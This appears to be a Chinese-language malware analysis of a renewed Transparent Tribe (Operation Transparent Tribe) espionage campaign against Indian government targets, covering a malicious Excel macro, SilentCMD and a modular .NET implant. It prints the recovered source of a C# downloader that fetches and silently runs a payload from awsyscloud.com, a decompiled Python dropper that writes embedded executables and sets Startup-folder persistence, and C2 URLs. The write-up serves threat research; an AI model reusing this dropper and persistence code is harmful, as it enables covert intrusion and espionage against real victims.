网络战争已经不是什么新鲜事物了,在军事冲突比较频繁的国家之间,网络攻击也是被用的最频繁的一种手段。
早在2016年,就有研究人员注意到了两起针对在沙特阿拉伯和哈萨克斯坦使馆工作的印度外交官而发起的攻击,并由此发现了称之为“Operation Transparent Tribe”的网络间谍活动,研究发现,参与攻击的IP地址在巴基斯坦,并且攻击显得很复杂,部分大规模的操作主要依赖水坑攻击和多个网络钓鱼邮件活动实现。该网络间谍活动中的MSIL/Crimson RAT可以执行各种数据窃取功能,包括控制便携式摄像机,运行截屏操作以及键盘记录的能力。
现在, Cybaze-Yoroi ZLab的研究人员又收集了关于“Operation Transparent Tribe”活动的证据,这意味着,4年后该攻击又回来了。
TransparentTribe APT组织,又称ProjectM、C-Major,是一个来自巴基斯坦的APT攻击组织,主要目标是针对印度政府、军事目标等。该组织的活动最早可以追溯到2012年,该组织的相关活动在2016年3月被proofpoint披露。比如在最近,“Operation Transparent Tribe”的诱饵内容就是“印度公共基金申请证书”。
技术分析
上表是有关恶意宏的静态信息
自解压宏
通过分析Excel文件的内容,研究人员注意到该文件包含执行感染的所有必要组件。宏组件以十六进制或十进制字符串的形式隐藏,它们将相互结合以进行下一阶段的感染。
接着,该宏在%PROGRAMDATA%路径中创建了两个文件夹“systemidleperf”和“SppExtComTel”。
分析这些文件,研究人员在其中发现了一个vbs脚本,一个C#脚本和一个zip文件,在此zip文件中,我们发现了4个PE组件。
SilentCMD模块
这两个dll是合法的Windows库,用于支持恶意行为,相反,“ windproc.scr”和“ windprocx.scr”文件是实用程序SilentCMD的编译版本,可在GitHub上公开获得。 SilentCMD无需打开命令提示符窗口即可执行批处理文件,如果需要,可以将控制台输出重定向到日志文件。
SilentCMD实用程序用于执行从C2推送的命令,所有这些命令都将在不向用户显示任何内容的情况下执行。但是,如前所述,奇怪的是,该恶意软件安装了两种不同的可执行文件变体,唯一的区别在于时间戳:
实时模块
另一个提取的文件是“ Realtime.cs”文件,它是用C#编写的一段代码的源代码,并且在宏执行期间进行编译和运行。该代码非常简单,它的唯一目的是从互联网上下载另一个组件:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;
namespace Realtime
{
class Program
{
static void Main(string[] args)
{
WebClient wc = new WebClient();
wc.DownloadFile(“http://www.awsyscloud.com/x64i.scr”, @”c:\\programdata\\systemidleperf\\x64i.scr”);
Process proc = new Process();
proc.StartInfo.FileName = Convert.ToString(args[0]);
proc.StartInfo.Arguments = “/c ” + Convert.ToString(args[1]);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.CreateNoWindow = false;
proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.Start();
Environment.Exit(0);
//Application.Exit();
/* if (!proc.Start())
{
//Console.WriteLine(“Error starting”);
return;
}*/
//proc.WaitForExit();
}
}
}
该代码非常简单,它具有从dropurl “awsysclou[.com”下载文件 “x64i.scr” 的功能,下载完后,将其保存到文件夹 “c:\programdata\systemidleperf\”,该文件立即通过C#原语执行。
X64i.scr文件
有关Pyhton存根的静态信息
可执行文件的图标让我们了解到,恶意软件是通过使用工具Pyinstaller伪造而成的。Pyinstaller是一个工具,允许用户从python源代码创建完整的自包含可执行文件。但是,选择此解决方案的主要缺点是可执行文件的占用空间太大(超过7.5MB,这会在系统内部产生很多噪音)。不过,优点是容易逆转可执行程序以获得源代码。
因此,在进行逆转操作之后,恶意软件的提取代码如下:
from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
import platform
import ctypes
import _winreg
import time
import os
import platform
import binascii
import _winreg
import subprocess
bitstream3 = “PAYLOAD_ONE”
bitstream4 = “PAYLOAD_TWO”
oses = os.name
systems = platform.system()
releases = platform.release()
architectures = platform.architecture()[0]
def main():
try:
runsameagain()
except Exception as e:
print str(e)
def runsameagain():
global bitstream3
binstr = bytearray(binascii.unhexlify(bitstream3))
if not os.path.exists(“c:\programdata\SppExtComTel”):
os.makedirs(“c:\programdata\SppExtComTel”)
WriteFile(“c:\programdata\SppExtComTel\SppExtComTel.scr”,binstr);
bootup()
subprocess.Popen([“c:\programdata\SppExtComTel\SppExtComTel.scr”, ‘–brilliance’])
def rundifferentagain():
global bitstream4
binstr = bytearray(binascii.unhexlify(bitstream4))
if not os.path.exists(“c:\programdata\SppExtComTel”):
os.makedirs(“c:\programdata\SppExtComTel”)
WriteFile(“c:\programdata\SppExtComTel\SppExtComTel.scr”,binstr);
bootup()
subprocess.Popen([“c:\programdata\SppExtComTel\SppExtComTel.scr”, ‘–brilliance’])
def Streamers():
try:
rundifferentagain()
return 1
except Exception as e:
print str(e)
def WriteFile(filename,data):
with open(filename,”wb”) as output:
output.write(data)
def bootup():
try:
from win32com.client import Dispatch
from win32com.shell import shell,shellcon
dpath = “c:\programdata\SppExtComTel”
#print “before”
Start_path = shell.SHGetFolderPath(0, shellcon.CSIDL_STARTUP, 0, 0)
com_path = os.path.join(Start_path, “SppExtComTel.lnk”)
target = os.path.join(dpath,”SppExtComTel.scr”)
wDir = dpath
icon = os.path.join(dpath, “SppExtComTel.scr”)
shell = Dispatch(‘WScript.Shell’)
shortcut = shell.CreateShortCut(com_path)
shortcut.Targetpath = target
shortcut.WorkingDirectory = wDir
shortcut.IconLocation = icon
shortcut.save()
#print “there”
#return True
except Exception, e:
print str(e)
if __name__ == “__main__”:
try:
#print oses
#print systems
#print releases
#print architectures
if ‘.py’ not in sys.argv[0]:
#sys.exit()
#print “nothign to do”
if systems == ‘Windows’ and releases == “7”:
main()
elif systems == ‘Windows’ and (releases == “8.1” or releases == “8”):
Streamers()
elif systems == ‘Windows’ and releases == “10”:
#print “Please use a 64 bit version of python”
#print “entering streamers”
Streamers()
else:
Streamers()
except Exception as e:
print str(e)
python代码非常易于分析和解释,第一个操作是声明两个全局变量“bitstream3”和“bitstream4”。它们是两个PE文件的十六进制表示形式,将在后面详细介绍。这两个文件是根据Windows操作系统版本选择的,如代码底部所示。
然后,脚本将所需的有效载荷写入文件夹“c:\programdata\SppExtComTel\”,并立即使用参数“-brilliance”执行它。之后,恶意软件通过在启动文件夹中创建一个LNK文件来保证其持久性。
恶意载荷
如前所述,恶意软件有效载荷是恶意软件植入程序的核心组件。
如上图所示,恶意软件是用.NET框架编写的,其创建日期可以追溯到2020年1月29日。所以,这是恶意软件活动开始的日期,C2的注册记录也证明了这一点。该恶意软件由一个模块化植入程序组成,该恶意程序可从C2下载其他组件。
第一步是向C2提供目标设备上正在运行的进程的列表,之后,恶意软件会循环并等待来自C2的某些命令,比如下载新模块的命令。
当C2发送一些命令来指示恶意载荷时,恶意软件会下载并执行其他两个组件,这两个组件是从以下URL下载的两个DLL:
· http[://awsyscloud[.com/E@t!aBbU0le8hiInks/B/3500/m1ssh0upUuchCukXanevPozlu[.dll;
· http[://awsyscloud[.com/E@t!aBbU0le8hiInks/D/3500/p2ehtHero0paSth3end.dll;
一旦执行,第一个DLL已在“indexerdervice.dll”中重命名,该可执行文件具有与C2通信的复杂加密方法。
通过分析,恶意软件在运行时,必须通过特定的RSA密钥才能执行,该密钥必须通过突出显示的文本进行验证。如果检查结果是肯定的,则该恶意软件可以继续执行其恶意操作,例如发送信息。
第二个恶意软件模块是一个简单的DLL,其目的是从dropURL下载其他组件,然后安装它,而已下载的代码已通过Rijndael算法使用硬编码密钥进行了加密。